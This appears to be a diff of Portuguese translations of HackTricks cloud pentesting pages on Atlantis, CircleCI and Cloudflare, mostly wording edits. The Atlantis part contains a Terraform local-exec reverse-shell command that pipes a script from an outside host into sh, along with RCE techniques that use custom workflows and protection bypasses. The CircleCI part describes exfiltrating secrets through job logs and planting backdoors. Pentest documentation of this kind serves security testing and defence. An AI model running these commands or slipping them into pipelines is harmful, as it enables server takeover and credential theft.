Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar uma PR. Se você puder **executar `atlantis apply`, poderá RCE dentro do servidor Atlantis**.
|
||||
|
||||
No entanto, você geralmente precisará contornar algumas proteções:
|
||||
|
||||
- **Mergeable**: Se essa proteção estiver definida no Atlantis, você só poderá executar **`atlantis apply` se o PR for mergeable** (o que significa que a proteção do branch precisa ser contornada).
|
||||
- **Mergeable**: Se essa proteção estiver definida no Atlantis, você só poderá executar **`atlantis apply` se a PR for mergeable** (o que significa que a proteção do branch precisa ser contornada).
|
||||
- Verifique possíveis [**contornos de proteções de branch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Aprovado**: Se essa proteção estiver definida no Atlantis, **outro usuário deve aprovar o PR** antes que você possa executar `atlantis apply`
|
||||
- **Aprovado**: Se essa proteção estiver definida no Atlantis, **outro usuário deve aprovar a PR** antes que você possa executar `atlantis apply`
|
||||
- Por padrão, você pode abusar do [**token do Gitbot para contornar essa proteção**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Executando **`terraform apply` em um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Siga as **sugestões da técnica anterior** para realizar este ataque de uma maneira **mais furtiva**.
|
||||
Siga as **sugestões da técnica anterior** para realizar este ataque de uma **forma mais furtiva**.
|
||||
|
||||
#### Injeção de Parâmetros do Terraform
|
||||
|
||||
Ao executar `atlantis plan` ou `atlantis apply`, o terraform está sendo executado sob, você pode passar comandos para o terraform a partir do atlantis comentando algo como:
|
||||
Ao executar `atlantis plan` ou `atlantis apply`, o terraform está sendo executado por baixo, você pode passar comandos para o terraform a partir do atlantis comentando algo como:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -247,13 +247,13 @@ Algo que você pode passar são variáveis de ambiente que podem ser úteis para
|
||||
|
||||
#### Fluxo de Trabalho Personalizado
|
||||
|
||||
Executando **comandos de build personalizados maliciosos** especificados em um arquivo `atlantis.yaml`. Atlantis usa o arquivo `atlantis.yaml` do branch da pull request, **não** do `master`.\
|
||||
Executando **comandos de build personalizados maliciosos** especificados em um arquivo `atlantis.yaml`. O Atlantis usa o arquivo `atlantis.yaml` do branch da pull request, **não** do `master`.\
|
||||
Essa possibilidade foi mencionada em uma seção anterior:
|
||||
|
||||
> [!CAUTION]
|
||||
> Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, fluxos de trabalho podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **substituir o fluxo de trabalho** que será utilizado.
|
||||
> Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, os fluxos de trabalho podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **substituir o fluxo de trabalho** que será utilizado.
|
||||
>
|
||||
> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que possa acessar esse repositório**.
|
||||
> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -274,7 +274,7 @@ Essa possibilidade foi mencionada em uma seção anterior:
|
||||
|
||||
#### Contornar proteções de plan/apply
|
||||
|
||||
Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tem_ `apply_requirements` configurado, é possível que um repositório **modifique as proteções de plan/apply para contorná-las**.
|
||||
Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tiver_ `apply_requirements` configurado, é possível que um repositório **modifique as proteções de plan/apply para contorná-las**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
@@ -284,7 +284,7 @@ apply_requirements: []
|
||||
|
||||
Se alguém enviar **`atlantis plan/apply` comentários em seus pull requests válidos,** isso fará com que o terraform seja executado quando você não quiser.
|
||||
|
||||
Além disso, se você não tiver configurado na **proteção de branch** para pedir para **reevaluar** cada PR quando um **novo commit é enviado** para ele, alguém poderia **escrever configs maliciosas** (ver cenários anteriores) na configuração do terraform, executar `atlantis plan/apply` e obter RCE.
|
||||
Além disso, se você não tiver configurado na **proteção de branch** para pedir para **reevaluar** cada PR quando um **novo commit for enviado** para ele, alguém poderia **escrever configs maliciosas** (ver cenários anteriores) na configuração do terraform, executar `atlantis plan/apply` e obter RCE.
|
||||
|
||||
Esta é a **configuração** nas proteções de branch do Github:
|
||||
|
||||
@@ -321,7 +321,7 @@ Porque qualquer um pode comentar em pull requests públicos, mesmo com todas as
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir `--allow-fork-prs` (o padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório.
|
||||
Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir `--allow-fork-prs` (padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
@@ -336,13 +336,13 @@ Essa flag garante que sua instalação do Atlantis não esteja sendo usada com r
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Se atacantes estiverem enviando pull requests com código malicioso do Terraform em seu modelo de ameaça, então você deve estar ciente de que as aprovações de `terraform apply` não são suficientes. É possível executar código malicioso em um `terraform plan` usando a [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.
|
||||
Se atacantes estiverem enviando pull requests com código malicioso do Terraform no seu modelo de ameaça, então você deve estar ciente de que as aprovações do `terraform apply` não são suficientes. É possível executar código malicioso em um `terraform plan` usando a [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.
|
||||
|
||||
Para evitar isso, você poderia:
|
||||
|
||||
1. Incorporar provedores na imagem do Atlantis ou hospedar e negar egress em produção.
|
||||
2. Implementar o protocolo de registro de provedores internamente e negar egress público, assim você controla quem tem acesso de escrita ao registro.
|
||||
3. Modificar o passo `plan` da sua [configuração de repositório do lado do servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o `plan` continue. O Conftest poderia ser útil aqui.
|
||||
3. Modificar o [configuração do repositório do lado do servidor](https://www.runatlantis.io/docs/server-side-repo-config.html)'s passo `plan` para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o `plan` continue. O Conftest poderia ser útil aqui.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
|
||||
@@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Informações Básicas
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) é uma plataforma de Integração Contínua onde você pode **definir templates** indicando o que deseja que ela faça com algum código e quando fazê-lo. Dessa forma, você pode **automatizar testes** ou **implantações** diretamente **da sua branch principal do repositório**, por exemplo.
|
||||
|
||||
### Permissions
|
||||
### Permissões
|
||||
|
||||
**CircleCI** **herda as permissões** do github e bitbucket relacionadas à **conta** que faz login.\
|
||||
Nos meus testes, verifiquei que, desde que você tenha **permissões de escrita sobre o repositório no github**, você poderá **gerenciar as configurações do projeto no CircleCI** (definir novas chaves ssh, obter chaves de api do projeto, criar novas branches com novas configurações do CircleCI...).
|
||||
|
||||
No entanto, você precisa ser um **administrador do repositório** para **converter o repositório em um projeto CircleCI**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### Variáveis de Ambiente & Segredos
|
||||
|
||||
De acordo com [**a documentação**](https://circleci.com/docs/2.0/env-vars/), existem diferentes maneiras de **carregar valores em variáveis de ambiente** dentro de um fluxo de trabalho.
|
||||
|
||||
#### Built-in env variables
|
||||
#### Variáveis de ambiente integradas
|
||||
|
||||
Todo contêiner executado pelo CircleCI sempre terá [**variáveis de ambiente específicas definidas na documentação**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
#### Texto claro
|
||||
|
||||
Você pode declará-las em texto claro dentro de um **comando**:
|
||||
```yaml
|
||||
@@ -39,7 +39,7 @@ command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
Você pode declará-los em texto claro dentro do **build-job environment**:
|
||||
Você pode declará-los em texto claro dentro do **ambiente de build-job**:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
@@ -65,23 +65,23 @@ Você pode vê-los **declarados em** _https://app.circleci.com/settings/project/
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> A funcionalidade "**Importar Variáveis**" permite **importar variáveis de outros projetos** para este.
|
||||
> A funcionalidade "**Import Variables**" permite **importar variáveis de outros projetos** para este.
|
||||
|
||||
#### Segredos de Contexto
|
||||
|
||||
Estes são segredos que são **ampla organização**. Por **padrão, qualquer repositório** poderá **acessar qualquer segredo** armazenado aqui:
|
||||
Estes são segredos que são **ampla organização**. Por **padrão, qualquer repo** poderá **acessar qualquer segredo** armazenado aqui:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> No entanto, observe que um grupo diferente (em vez de Todos os membros) pode ser **selecionado para dar acesso apenas a pessoas específicas**.\
|
||||
> Esta é atualmente uma das melhores maneiras de **aumentar a segurança dos segredos**, para não permitir que todos tenham acesso a eles, mas apenas algumas pessoas.
|
||||
> Esta é atualmente uma das melhores maneiras de **aumentar a segurança dos segredos**, para não permitir que todos os acessem, mas apenas algumas pessoas.
|
||||
|
||||
### Ataques
|
||||
|
||||
#### Buscar Segredos em Texto Claro
|
||||
|
||||
Se você tiver **acesso ao VCS** (como github), verifique o arquivo `.circleci/config.yml` de **cada repositório em cada branch** e **busque** por potenciais **segredos em texto claro** armazenados lá.
|
||||
Se você tiver **acesso ao VCS** (como github), verifique o arquivo `.circleci/config.yml` de **cada repo em cada branch** e **busque** por potenciais **segredos em texto claro** armazenados lá.
|
||||
|
||||
#### Enumeração de Variáveis de Ambiente Secretas & Contexto
|
||||
|
||||
@@ -90,10 +90,10 @@ Verificando o código, você pode encontrar **todos os nomes dos segredos** que
|
||||
#### Exfiltrar Segredos do Projeto
|
||||
|
||||
> [!WARNING]
|
||||
> Para **exfiltrar TODOS** os **SEGREDOS** do projeto e do contexto, você **apenas** precisa ter acesso **WRITE** a **apenas 1 repositório** em toda a organização do github (_e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos_).
|
||||
> Para **exfiltrar TODOS** os **SEGREDOS** do projeto e do contexto, você **apenas** precisa ter acesso **WRITE** a **apenas 1 repo** em toda a organização do github (_e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos_).
|
||||
|
||||
> [!CAUTION]
|
||||
> A funcionalidade "**Importar Variáveis**" permite **importar variáveis de outros projetos** para este. Portanto, um atacante poderia **importar todas as variáveis do projeto de todos os repositórios** e então **exfiltrar todas elas juntas**.
|
||||
> A funcionalidade "**Import Variables**" permite **importar variáveis de outros projetos** para este. Portanto, um atacante poderia **importar todas as variáveis do projeto de todos os repos** e então **exfiltrar todas elas juntas**.
|
||||
|
||||
Todos os segredos do projeto sempre são definidos no env dos jobs, então apenas chamando env e ofuscando-o em base64 irá exfiltrar os segredos no **console de log da web dos workflows**:
|
||||
```yaml
|
||||
@@ -143,7 +143,7 @@ jobs:
|
||||
```
|
||||
#### Exfiltrar Segredos de Contexto
|
||||
|
||||
Você precisa **especificar o nome do contexto** (isso também irá exfiltrar os segredos do projeto):
|
||||
Você precisa **especificar o nome do contexto** (isso também exfiltrará os segredos do projeto):
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -192,11 +192,11 @@ jobs:
|
||||
context: Test-Context
|
||||
```
|
||||
> [!WARNING]
|
||||
> Apenas criar um novo `.circleci/config.yml` em um repositório **não é suficiente para acionar uma build do circleci**. Você precisa **habilitá-lo como um projeto no console do circleci**.
|
||||
> Apenas criar um novo `.circleci/config.yml` em um repositório **não é suficiente para acionar uma construção do circleci**. Você precisa **habilitá-lo como um projeto no console do circleci**.
|
||||
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI** oferece a opção de executar **suas builds em suas máquinas ou em suas próprias**.\
|
||||
**CircleCI** oferece a opção de executar **suas construções em suas máquinas ou em suas próprias**.\
|
||||
Por padrão, suas máquinas estão localizadas no GCP, e você inicialmente não conseguirá encontrar nada relevante. No entanto, se uma vítima estiver executando as tarefas em **suas próprias máquinas (potencialmente, em um ambiente de nuvem)**, você pode encontrar um **endpoint de metadados da nuvem com informações interessantes**.
|
||||
|
||||
Observe que nos exemplos anteriores tudo foi lançado dentro de um contêiner docker, mas você também pode **pedir para lançar uma máquina VM** (que pode ter permissões de nuvem diferentes):
|
||||
@@ -228,8 +228,8 @@ version: 19.03.13
|
||||
- É possível **adicionar chaves SSH** aos projetos.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- É possível **criar um cron job em uma branch oculta** em um projeto inesperado que está **vazando** todas as variáveis de **contexto env** todos os dias.
|
||||
- Ou até mesmo criar em uma branch / modificar um job conhecido que irá **vazar** todos os segredos de contexto e **projetos** todos os dias.
|
||||
- Ou até mesmo criar em uma branch / modificar um job conhecido que irá **vazar** todos os segredos de **contexto e projetos** todos os dias.
|
||||
- Se você é um proprietário do github, pode **permitir orbs não verificados** e configurar um em um job como **backdoor**.
|
||||
- Você pode encontrar uma **vulnerabilidade de injeção de comando** em alguma tarefa e **injetar comandos** via um **segredo** modificando seu valor.
|
||||
- Você pode encontrar uma **vulnerabilidade de injeção de comando** em alguma tarefa e **injetar comandos** via um **secreto** modificando seu valor.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# Cloudflare Security
|
||||
# Segurança do Cloudflare
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Em uma conta Cloudflare, existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
Em uma conta do Cloudflare, existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -24,20 +24,20 @@ Revise cada um com:
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Analytics
|
||||
## Análises
|
||||
|
||||
_Eu não consegui encontrar nada para verificar em uma revisão de segurança de configuração._
|
||||
|
||||
## Pages
|
||||
## Páginas
|
||||
|
||||
Em cada página do Cloudflare:
|
||||
|
||||
- [ ] Verifique se há **informações sensíveis** no **`Build log`**.
|
||||
- [ ] Verifique se há **informações sensíveis** no **repositório do Github** atribuído às páginas.
|
||||
- [ ] Verifique a possível comprometimento do repositório do github via **workflow command injection** ou comprometimento de `pull_request_target`. Mais informações na [**página de Segurança do Github**](../github-security/).
|
||||
- [ ] Verifique se há potencial comprometimento do repositório do github via **injeção de comando de workflow** ou comprometimento de `pull_request_target`. Mais informações na [**página de Segurança do Github**](../github-security/).
|
||||
- [ ] Verifique se há **funções vulneráveis** no diretório `/fuctions` (se houver), verifique os **redirecionamentos** no arquivo `_redirects` (se houver) e **cabeçalhos mal configurados** no arquivo `_headers` (se houver).
|
||||
- [ ] Verifique se há **vulnerabilidades** na **página da web** via **blackbox** ou **whitebox** se você puder **acessar o código**.
|
||||
- [ ] Nos detalhes de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifique se há **informações sensíveis** nas **`Environment variables`**.
|
||||
- [ ] Nos detalhes de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifique se há **informações sensíveis** nas **`Variáveis de Ambiente`**.
|
||||
- [ ] Na página de detalhes, verifique também o **comando de build** e o **diretório raiz** para **potenciais injeções** que possam comprometer a página.
|
||||
|
||||
## **Workers**
|
||||
@@ -45,7 +45,7 @@ Em cada página do Cloudflare:
|
||||
Em cada worker do Cloudflare, verifique:
|
||||
|
||||
- [ ] Os gatilhos: O que faz o worker ser acionado? Um **usuário pode enviar dados** que serão **usados** pelo worker?
|
||||
- [ ] Nas **`Settings`**, verifique se há **`Variables`** contendo **informações sensíveis**.
|
||||
- [ ] Nas **`Configurações`**, verifique se há **`Variáveis`** contendo **informações sensíveis**.
|
||||
- [ ] Verifique o **código do worker** e procure por **vulnerabilidades** (especialmente em lugares onde o usuário pode gerenciar a entrada).
|
||||
- Verifique SSRFs retornando a página indicada que você pode controlar.
|
||||
- Verifique XSSs executando JS dentro de uma imagem svg.
|
||||
@@ -64,14 +64,14 @@ Em cada bucket R2, verifique:
|
||||
|
||||
TODO
|
||||
|
||||
## Images
|
||||
## Imagens
|
||||
|
||||
TODO
|
||||
|
||||
## Security Center
|
||||
## Centro de Segurança
|
||||
|
||||
- [ ] Se possível, execute uma **varredura de `Security Insights`** e uma **varredura de `Infrastructure`**, pois elas **destacarão** informações interessantes do ponto de vista de **segurança**.
|
||||
- [ ] Apenas **verifique essas informações** para configurações de segurança incorretas e informações interessantes.
|
||||
- [ ] Se possível, execute uma **varredura de `Security Insights`** e uma **varredura de `Infrastructure`**, pois elas **destacarão** informações interessantes em termos de **segurança**.
|
||||
- [ ] Apenas **verifique essas informações** para configurações de segurança inadequadas e informações interessantes.
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -83,51 +83,51 @@ TODO
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
## Bulk Redirects
|
||||
## Redirecionamentos em Massa
|
||||
|
||||
> [!NOTE]
|
||||
> Ao contrário dos [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), os [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticos — eles não **suportam operações de substituição de string** ou expressões regulares. No entanto, você pode configurar parâmetros de redirecionamento de URL que afetam seu comportamento de correspondência de URL e seu comportamento em tempo de execução.
|
||||
> Ao contrário dos [Redirecionamentos Dinâmicos](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), os [**Redirecionamentos em Massa**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticos — eles não suportam operações de substituição de string ou expressões regulares. No entanto, você pode configurar parâmetros de redirecionamento de URL que afetam seu comportamento de correspondência de URL e seu comportamento em tempo de execução.
|
||||
|
||||
- [ ] Verifique se as **expressões** e **requisitos** para redirecionamentos **fazem sentido**.
|
||||
- [ ] Verifique também se há **endpoints ocultos sensíveis** que contenham informações interessantes.
|
||||
|
||||
## Notifications
|
||||
## Notificações
|
||||
|
||||
- [ ] Verifique as **notificações.** Essas notificações são recomendadas para segurança:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- `Uso Baseado em Cobrança`
|
||||
- `Alerta de Ataque DDoS HTTP`
|
||||
- `Alerta de Ataque DDoS Camada 3/4`
|
||||
- `Alerta de Ataque DDoS HTTP Avançado`
|
||||
- `Alerta de Ataque DDoS Camada 3/4 Avançado`
|
||||
- `Monitoramento Baseado em Fluxo: Ataque Volumétrico`
|
||||
- `Alerta de Detecção de Vazamento de Rota`
|
||||
- `Alerta de Expiração de Certificado mTLS de Acesso`
|
||||
- `Alerta de SSL para Nomes de Host Personalizados SaaS`
|
||||
- `Alerta de SSL Universal`
|
||||
- `Alerta de Detecção de Nova Mudança de Código no Monitor de Script`
|
||||
- `Alerta de Novo Domínio no Monitor de Script`
|
||||
- `Alerta de Novo Domínio Malicioso no Monitor de Script`
|
||||
- `Alerta de Novo Script Malicioso no Monitor de Script`
|
||||
- `Alerta de Nova URL Maliciosa no Monitor de Script`
|
||||
- `Alerta de Novos Scripts no Monitor de Script`
|
||||
- `Alerta de Novo Script Excede o Comprimento Máximo da URL no Monitor de Script`
|
||||
- `Alerta de Eventos de Segurança Avançados`
|
||||
- `Alerta de Eventos de Segurança`
|
||||
- [ ] Verifique todos os **destinos**, pois pode haver **informações sensíveis** (autenticação http básica) nas URLs de webhook. Certifique-se também de que as URLs de webhook usem **HTTPS**.
|
||||
- [ ] Como verificação extra, você pode tentar **impersonar uma notificação do cloudflare** para um terceiro, talvez você consiga **injetar algo perigoso** de alguma forma.
|
||||
|
||||
## Manage Account
|
||||
## Gerenciar Conta
|
||||
|
||||
- [ ] É possível ver os **últimos 4 dígitos do cartão de crédito**, o **tempo de expiração** e o **endereço de cobrança** em **`Billing` -> `Payment info`**.
|
||||
- [ ] É possível ver o **tipo de plano** usado na conta em **`Billing` -> `Subscriptions`**.
|
||||
- [ ] Em **`Members`**, é possível ver todos os membros da conta e seu **papel**. Note que se o tipo de plano não for Enterprise, existem apenas 2 papéis: Administrador e Super Administrador. Mas se o **plano utilizado for Enterprise**, [**mais papéis**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio.
|
||||
- [ ] Em **`Members`**, é possível ver todos os membros da conta e seu **papel**. Note que, se o tipo de plano não for Enterprise, existem apenas 2 papéis: Administrador e Super Administrador. Mas se o **plano utilizado for Enterprise**, [**mais papéis**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio.
|
||||
- Portanto, sempre que possível, é **recomendado** usar o **plano Enterprise**.
|
||||
- [ ] Em Membros, é possível verificar quais **membros** têm **2FA habilitado**. **Todo** usuário deve tê-lo habilitado.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que, felizmente, o papel **`Administrator`** não dá permissões para gerenciar associações (**não pode escalar privilégios ou convidar** novos membros).
|
||||
> Note que, felizmente, o papel **`Administrador`** não dá permissões para gerenciar associações (**não pode escalar privilégios ou convidar** novos membros).
|
||||
|
||||
## DDoS Investigation
|
||||
## Investigação de DDoS
|
||||
|
||||
[Verifique esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Cloudflare Domains
|
||||
# Domínios Cloudflare
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,17 +13,17 @@ Em cada TLD configurado no Cloudflare, existem algumas **configurações e servi
|
||||
|
||||
### Análise
|
||||
|
||||
- [ ] Em **`Segurança`**, verifique se há alguma **Limitação de Taxa**
|
||||
- [ ] Em **`Segurança`**, verifique se há alguma **limitação de taxa**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Verifique dados **interessantes** (sensíveis?) nos **registros DNS**
|
||||
- [ ] Verifique dados **interessantes** (sensíveis?) nos **registros** DNS
|
||||
- [ ] Verifique por **subdomínios** que possam conter **informações sensíveis** apenas com base no **nome** (como admin173865324.domin.com)
|
||||
- [ ] Verifique por páginas da web que **não estão** **protegidas**
|
||||
- [ ] Verifique por **páginas da web protegidas** que podem ser **acessadas diretamente** por CNAME ou endereço IP
|
||||
- [ ] Verifique se o **DNSSEC** está **ativado**
|
||||
- [ ] Verifique se o **CNAME Flattening** está **usado** em **todos os CNAMEs**
|
||||
- Isso pode ser útil para **ocultar vulnerabilidades de tomada de subdomínio** e melhorar os tempos de carregamento
|
||||
- Isso pode ser útil para **ocultar vulnerabilidades de takeover de subdomínio** e melhorar os tempos de carregamento
|
||||
- [ ] Verifique se os domínios [**não são vulneráveis a spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
@@ -45,37 +45,37 @@ TODO
|
||||
|
||||
- [ ] **Sempre Usar HTTPS** deve estar **ativado**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** deve estar **ativado**
|
||||
- [ ] **A versão mínima do TLS deve ser 1.2**
|
||||
- [ ] **Versão mínima do TLS deve ser 1.2**
|
||||
- [ ] **TLS 1.3 deve estar ativado**
|
||||
- [ ] **Reescritas Automáticas de HTTPS** devem estar **ativadas**
|
||||
- [ ] **Reescritas automáticas de HTTPS** devem estar **ativadas**
|
||||
- [ ] **Monitoramento de Transparência de Certificado** deve estar **ativado**
|
||||
|
||||
### **Segurança**
|
||||
|
||||
- [ ] Na seção **`WAF`**, é interessante verificar se as **regras de Firewall** e **limitação de taxa estão sendo usadas** para prevenir abusos.
|
||||
- A ação **`Bypass`** irá **desativar as funcionalidades de segurança do Cloudflare** para uma solicitação. Não deve ser usada.
|
||||
- A ação **`Bypass`** irá **desativar as** funcionalidades de segurança do Cloudflare para uma solicitação. Não deve ser usada.
|
||||
- [ ] Na seção **`Page Shield`**, é recomendado verificar se está **ativado** se alguma página estiver em uso
|
||||
- [ ] Na seção **`API Shield`**, é recomendado verificar se está **ativado** se alguma API estiver exposta no Cloudflare
|
||||
- [ ] Na seção **`DDoS`**, é recomendado ativar as **proteções DDoS**
|
||||
- [ ] Na seção **`Configurações`**:
|
||||
- [ ] Verifique se o **`Nível de Segurança`** é **médio** ou maior
|
||||
- [ ] Verifique se o **`Período de Desafio`** é de no máximo 1 hora
|
||||
- [ ] Verifique se o **`Nível de Segurança`** está **médio** ou maior
|
||||
- [ ] Verifique se o **`Período de Desafio`** é de 1 hora no máximo
|
||||
- [ ] Verifique se a **`Verificação de Integridade do Navegador`** está **ativada**
|
||||
- [ ] Verifique se o **`Suporte a Privacy Pass`** está **ativado**
|
||||
|
||||
#### **Proteção DDoS do CloudFlare**
|
||||
|
||||
- Se puder, ative o **Modo de Luta contra Bots** ou **Modo de Luta contra Super Bots**. Se você estiver protegendo alguma API acessada programaticamente (de uma página front-end JS, por exemplo). Você pode não conseguir ativar isso sem quebrar esse acesso.
|
||||
- Se puder, ative o **Modo de Luta contra Bots** ou **Modo de Luta contra Bots Super**. Se você estiver protegendo alguma API acessada programaticamente (de uma página front end JS, por exemplo). Você pode não conseguir ativar isso sem quebrar esse acesso.
|
||||
- Em **WAF**: Você pode criar **limites de taxa por caminho de URL** ou para **bots verificados** (regras de limitação de taxa), ou para **bloquear acesso** com base em IP, Cookie, referenciador...). Assim, você poderia bloquear solicitações que não vêm de uma página da web ou não têm um cookie.
|
||||
- Se o ataque for de um **bot verificado**, pelo menos **adicione um limite de taxa** para bots.
|
||||
- Se o ataque for para um **caminho específico**, como mecanismo de prevenção, adicione um **limite de taxa** nesse caminho.
|
||||
- Se o ataque for a um **caminho específico**, como mecanismo de prevenção, adicione um **limite de taxa** nesse caminho.
|
||||
- Você também pode **colocar na lista branca** endereços IP, faixas de IP, países ou ASNs nas **Ferramentas** no WAF.
|
||||
- Verifique se as **Regras Gerenciadas** também podem ajudar a prevenir explorações de vulnerabilidades.
|
||||
- Na seção **Ferramentas**, você pode **bloquear ou desafiar IPs específicos** e **agentes de usuário.**
|
||||
- Na seção **Ferramentas**, você pode **bloquear ou dar um desafio a IPs** e **agentes de usuário específicos.**
|
||||
- Em DDoS, você pode **substituir algumas regras para torná-las mais restritivas**.
|
||||
- **Configurações**: Defina o **Nível de Segurança** como **Alto** e para **Sob Ataque** se você estiver Sob Ataque e que a **Verificação de Integridade do Navegador está ativada**.
|
||||
- Em Cloudflare Domains -> Analytics -> Security -> Verifique se a **limitação de taxa** está ativada
|
||||
- Em Cloudflare Domains -> Security -> Events -> Verifique se há **Eventos maliciosos detectados**
|
||||
- Em Domínios Cloudflare -> Análise -> Segurança -> Verifique se a **limitação de taxa** está ativada
|
||||
